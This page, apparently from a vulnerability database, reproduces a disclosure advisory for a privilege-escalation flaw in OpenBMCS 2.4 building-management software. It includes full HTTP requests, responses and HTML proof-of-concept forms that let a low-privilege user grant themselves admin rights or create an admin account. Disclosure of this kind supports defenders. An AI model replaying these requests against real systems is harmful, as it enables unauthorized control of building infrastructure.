Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

OpenBMCS 2.4 Create Admin / Remote Privilege Escalation

🗓️ 16 Jan 2022 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience🔗 www.zeroscience.mk👁 298 Views

OpenBMCS 2.4 Admin Privilege Escalation Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl		CVE-2021-47701
9 Dec 202521:20
–circl
CNNVD		OpenBMCS 安全漏洞
9 Dec 202500:00
–cnnvd
CVE		CVE-2021-47701
9 Dec 202520:35
–cve
Cvelist		CVE-2021-47701 OpenBMCS User Management Privilege Escalation
9 Dec 202520:35
–cvelist
EUVD		EUVD-2021-34738
9 Dec 202521:31
–euvd
NVD		CVE-2021-47701
9 Dec 202521:15
–nvd
Positive Technologies		PT-2025-50231
9 Dec 202500:00
–ptsecurity
RedhatCVE		CVE-2021-47701
10 Dec 202521:16
–redhatcve
Vulnrichment		CVE-2021-47701 OpenBMCS User Management Privilege Escalation
9 Dec 202520:35
–vulnrichment
<html><body><p>OpenBMCS 2.4 Create Admin / Remote Privilege Escalation


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management &amp; Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application suffers from an insecure permissions and privilege
escalation vulnerability. A regular user can create administrative users
and/or elevate her privileges by sending an HTTP POST request to specific
PHP scripts in '/plugins/useradmin/' directory.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5693
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php


26.10.2021

--


List current ID and permissions (read):
---------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 692
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]



List current ID and permissions (admin):
----------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=18

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 725
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"18","username":"testingus2","email":"[email protected]","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]



Escalate privileges:
--------------------

POST /plugins/useradmin/update_user_permissions.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 702
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

permissions%5B0%5D%5Bpermissions%5D=3&amp;permissions%5B0%5D%5BmoduleID%5D=alarms&amp;permissions%5B0%5D%5Bmod_home%5D=1&amp;permissions%5B1%5D%5Bpermissions%5D=2&amp;permissions%5B1%5D%5BmoduleID%5D=controllers&amp;permissions%5B1%5D%5Bmod_home%5D=1&amp;permissions%5B2%5D%5Bpermissions%5D=1&amp;permissions%5B2%5D%5BmoduleID%5D=core&amp;permissions%5B3%5D%5Bpermissions%5D=4&amp;permissions%5B3%5D%5BmoduleID%5D=graphics&amp;permissions%5B3%5D%5Bmod_home%5D=1&amp;permissions%5B4%5D%5Bpermissions%5D=3&amp;permissions%5B4%5D%5BmoduleID%5D=history&amp;permissions%5B4%5D%5Bmod_home%5D=1&amp;permissions%5B5%5D%5Bpermissions%5D=3&amp;permissions%5B5%5D%5BmoduleID%5D=progtool&amp;permissions%5B6%5D%5Bpermissions%5D=4&amp;permissions%5B6%5D%5BmoduleID%5D=useradmin&amp;id=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:58:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

2



Create admin from read user:
----------------------------

POST /plugins/useradmin/create_user.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 1010
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

user%5Busername%5D=testingus2&amp;user%5Bfullname%5D=TestName&amp;user%5Bphone%5D=1112223333&amp;user%5Bpassword%5D=Password123&amp;user%5BpasswordConfirm%5D=Password123&amp;user%5Bemail%5D=testingus%40test.tld&amp;user%5Bexpiry%5D=&amp;permissions%5B0%5D%5BmoduleID%5D=alarms&amp;permissions%5B0%5D%5Bpermissions%5D=3&amp;permissions%5B0%5D%5Bmod_home%5D=1&amp;permissions%5B1%5D%5BmoduleID%5D=controllers&amp;permissions%5B1%5D%5Bpermissions%5D=2&amp;permissions%5B1%5D%5Bmod_home%5D=1&amp;permissions%5B2%5D%5BmoduleID%5D=core&amp;permissions%5B2%5D%5Bpermissions%5D=1&amp;permissions%5B2%5D%5Bmod_home%5D=0&amp;permissions%5B3%5D%5BmoduleID%5D=graphics&amp;permissions%5B3%5D%5Bpermissions%5D=4&amp;permissions%5B3%5D%5Bmod_home%5D=1&amp;permissions%5B4%5D%5BmoduleID%5D=history&amp;permissions%5B4%5D%5Bpermissions%5D=3&amp;permissions%5B4%5D%5Bmod_home%5D=1&amp;permissions%5B5%5D%5BmoduleID%5D=progtool&amp;permissions%5B5%5D%5Bpermissions%5D=3&amp;permissions%5B5%5D%5Bmod_home%5D=0&amp;permissions%5B6%5D%5BmoduleID%5D=useradmin&amp;permissions%5B6%5D%5Bpermissions%5D=4&amp;permissions%5B6%5D%5Bmod_home%5D=0


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:18:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}



PoC escalate from editor to admin:
----------------------------------


  </p>
<form action="https://192.168.1.222/plugins/useradmin/update_user_permissions.php" method="POST">
<input name="permissions[0][permissions]" type="hidden" value="3"/>
<input name="permissions[0][moduleID]" type="hidden" value="alarms"/>
<input name="permissions[0][mod_home]" type="hidden" value="1"/>
<input name="permissions[1][permissions]" type="hidden" value="2"/>
<input name="permissions[1][moduleID]" type="hidden" value="controllers"/>
<input name="permissions[1][mod_home]" type="hidden" value="1"/>
<input name="permissions[2][permissions]" type="hidden" value="1"/>
<input name="permissions[2][moduleID]" type="hidden" value="core"/>
<input name="permissions[3][permissions]" type="hidden" value="4"/>
<input name="permissions[3][moduleID]" type="hidden" value="graphics"/>
<input name="permissions[3][mod_home]" type="hidden" value="1"/>
<input name="permissions[4][permissions]" type="hidden" value="3"/>
<input name="permissions[4][moduleID]" type="hidden" value="history"/>
<input name="permissions[4][mod_home]" type="hidden" value="1"/>
<input name="permissions[5][permissions]" type="hidden" value="3"/>
<input name="permissions[5][moduleID]" type="hidden" value="progtool"/>
<input name="permissions[6][permissions]" type="hidden" value="4"/>
<input name="permissions[6][moduleID]" type="hidden" value="useradmin"/>
<input name="id" type="hidden" value="17"/>
<input type="submit" value="Esc"/>
</form>
  




PoC create admin from editor:
-----------------------------


  
    <form action="https://192.168.1.222/plugins/useradmin/create_user.php" method="POST">
<input name="user[username]" type="hidden" value="testingus2"/>
<input name="user[fullname]" type="hidden" value="TestName"/>
<input name="user[phone]" type="hidden" value="1112223333"/>
<input name="user[password]" type="hidden" value="Password123"/>
<input name="user[passwordConfirm]" type="hidden" value="Password123"/>
<input name="user[email]" type="hidden" value="[email protected]"/>
<input name="user[expiry]" type="hidden" value=""/>
<input name="permissions[0][moduleID]" type="hidden" value="alarms"/>
<input name="permissions[0][permissions]" type="hidden" value="3"/>
<input name="permissions[0][mod_home]" type="hidden" value="1"/>
<input name="permissions[1][moduleID]" type="hidden" value="controllers"/>
<input name="permissions[1][permissions]" type="hidden" value="2"/>
<input name="permissions[1][mod_home]" type="hidden" value="1"/>
<input name="permissions[2][moduleID]" type="hidden" value="core"/>
<input name="permissions[2][permissions]" type="hidden" value="1"/>
<input name="permissions[2][mod_home]" type="hidden" value="0"/>
<input name="permissions[3][moduleID]" type="hidden" value="graphics"/>
<input name="permissions[3][permissions]" type="hidden" value="4"/>
<input name="permissions[3][mod_home]" type="hidden" value="1"/>
<input name="permissions[4][moduleID]" type="hidden" value="history"/>
<input name="permissions[4][permissions]" type="hidden" value="3"/>
<input name="permissions[4][mod_home]" type="hidden" value="1"/>
<input name="permissions[5][moduleID]" type="hidden" value="progtool"/>
<input name="permissions[5][permissions]" type="hidden" value="3"/>
<input name="permissions[5][mod_home]" type="hidden" value="0"/>
<input name="permissions[6][moduleID]" type="hidden" value="useradmin"/>
<input name="permissions[6][permissions]" type="hidden" value="4"/>
<input name="permissions[6][mod_home]" type="hidden" value="0"/>
<input type="submit" value="Cre"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
16 Jan 2022 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.18.8
CVSS 48.7
EPSS0.00129
SSVC
openbmcsprivilege escalationvulnerabilityhttpphplinuxubuntudebianapachenginxvendorpublic advisoryexploitdbpacketstormsecurityibmcloud.
298